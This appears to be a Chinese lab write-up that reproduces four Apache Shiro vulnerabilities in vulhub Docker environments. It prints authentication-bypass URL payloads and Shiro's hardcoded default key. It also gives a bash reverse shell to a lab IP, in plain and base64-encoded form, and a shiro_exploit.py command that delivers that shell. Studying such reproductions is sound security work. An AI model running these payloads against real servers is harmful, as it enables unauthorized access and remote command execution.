LOADING

加载过慢请开启缓存 浏览器默认开启

2024/6/4

环境:kali 192.168.145.128

docker主机:192.168.145.129

CVE-2010-3863:Apache Shiro 认证绕过漏洞

漏洞原理

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

在Apache Shiro 1.1.0以前的版本中,shiro 进行权限验证前未对url 做标准化处理,攻击者可以构造/、//、/./、/…/ 等绕过权限验证。

影响版本

shiro < 1.1.0和 JSecurity 0.9.x

漏洞复现

1、启动环境

cd vulhub-master/shiro/CVE-2010-3863/
docker-compose up -d    #启动环境
docker ps -a            #查看配置

image-20240604114211542

image-20240604114514260

2、抓包登陆页面

尝试请求访问/admin,无法访问,将会被重定向到登录页面。image-20240604115255412

3、尝试抓包还原过程,返回302重定向,点击“Follow redirection”

image-20240604115607473

image-20240604115623088

4、构造恶意请求进行权限绕过

构造恶意请求/./admin,即可绕过权限校验,访问到管理页面。抓包查看过程,绕过成功

image-20240604115845830

CVE-2016-4437:Apache Shiro 1.2.4反序列化漏洞/shiro550

漏洞原理

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序可以推断出解密的顺序为获取cookie-base64解码-AES解密-反序列化。

漏洞利用条件

由于使用aes加密,要想成功利用漏洞则需要获取aes的加密密钥,而在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==。这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。

影响版本

Apache Shiro <= 1.2.4

漏洞复现

如何判断一个页面的登录是否使用了shiro框架进行身份验证、授权、密码和会话管理:

判断方法:勾选记住密码选项后,点击登录,抓包,观察请求包中是否有rememberme字段,响应包中是否有Set-cookie:rememberMe=deleteMe字段。

image-20240604131610589

只要响应包中出现rememberMe=deleteMe字段就说明存在漏洞。这样说片面的,如果出现rememberMe=deleteMe字段应该是仅仅能说明登录页面采用了shiro进行了身份验证而已,并非直接就说明存在漏洞

  • 未登录的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段登录失败的话,不管有没有勾选RememberMe字段,返回包都会有 rememberMe= deleteMe 字段
  • 不勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有RememberMe字段
  • 勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段,还会有remember字段,之后的所有请求中Cookie都会有rememberMe字段
  • 或者可以在cookie后面自己加—个rememberMe=1,看返回包有没有rememberMe= deleteMe

1、启动环境

cd vulhub-master/shiro/CVE-2016-4437/
docker-compose up -d
docker ps -a

2、ysoserial生成反弹shell

ysoserial下载地址:insightglacier/Shiro_exploit: Apache Shiro 反序列化漏洞检测与利用工具 (github.com)

使用java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (r0yanx.com)加密反弹shell,此处用base64反弹shell,因为直接bash反弹有重定向和管道字符的使用方式在启动过程中的上下文没有意义的问题。

bash -i >& /dev/tcp/192.168.145.128/6666 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0NS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

使用Shiro_exploit的poc漏洞执行反弹shell

python3 shiro_exploit.py -t 3 -u http://192.168.145.129:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0NS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"

执行的同时开启nc监听,可以看到已经上线

image-20240604180821577

3、shiro工具利用

下载地址: https://pan.baidu.com/s/1uo4SYcERsAVRgK4La8WlRA?pwd=8848

image-20240604185831778

执行”ls“命令成功

image-20240604185901259

CVE-2019-12422:Shiro-721反序列化漏洞

漏洞原理

由于shiro550的补丁不再把秘钥写死,所以目前无法获得秘钥(系统随机生成),只能研究算法和源码,在不知道秘钥的前提下,构造出之前那样的序列化数据(需要使用登录后的rememberMe Cookie,进行下一步攻击),即通过padding oracle 攻击来破解AES-CBC模式下的密钥

影响版本

Apache Shiro < 1.4.2

漏洞复现

git clone https://github.com/3ndz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .

CVE-2020-1957:Apache Shiro 认证绕过漏洞

漏洞原理

Apache Shiro 1.5.2之前的版本,由于Shiro拦截器和requestURI的匹配流程与Web框架的拦截器的匹配流程有差异,攻击者构造一个特殊的http请求,可以绕过Shiro的认证,未授权访问敏感路径。

影响版本

此漏洞有两种攻击方式,第一种攻击方式适用于Shiro < 1.5.0版本,由于Shiro 1.5.0版本修复补丁考虑不全面,导致补丁绕过,出现了第二种攻击方式,适用于Shiro < 1.5.2版本。

漏洞复现

cd vulhub-master/shiro/CVE-2020-1957
docker-compose up -d
docker ps -a

image-20240604195022385

访问192.168.145.129:8080,存在登陆和

image-20240604195408575

应用中对URL权限配置如下

@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
    DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
    chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
    chainDefinition.addPathDefinition("/logout", "logout");
    chainDefinition.addPathDefinition("/admin/**", "authc");
    return chainDefinition;
}

直接访问/admin/,bp抓包,发现重定向到了登陆页面

image-20240604201006150

image-20240604201019080

构造payload:/xxx/..;/admin/再次访问,访问成功

image-20240604201424865

URL请求过程:

  • 客户端请求URL: /xxx/..;/admin/
  • Shrio 内部处理得到校验URL为 /xxxx/..,校验通过
  • SpringBoot 处理 /xxx/..;/admin/ , 最终请求 /admin/, 成功访问了后台请求。

参考链接:

shiro反序列化漏洞-CSDN博客

vulhub shiro漏洞复现 | CVE-2010-3863、CVE-2016-4437、CVE-2020-1957漏洞复现(详细图解)-CSDN博客

Apache Shiro 反序列化漏洞(Shiro-550 CVE-2016-4437) - 渗透测试中心 - 博客园 (cnblogs.com)

Apache Shiro 认证绕过漏洞 CVE-2020-1957 漏洞复现_cve-2020-1957 poc-CSDN博客

Apache Shiro权限绕过漏洞CVE-2020-1957 - FreeBuf网络安全行业门户

Shiro550与shiro721反序列化原理及复现解析 - FreeBuf网络安全行业门户

Shiro-721反序列化漏洞复现总结_shiro550和721的漏洞原理-CSDN博客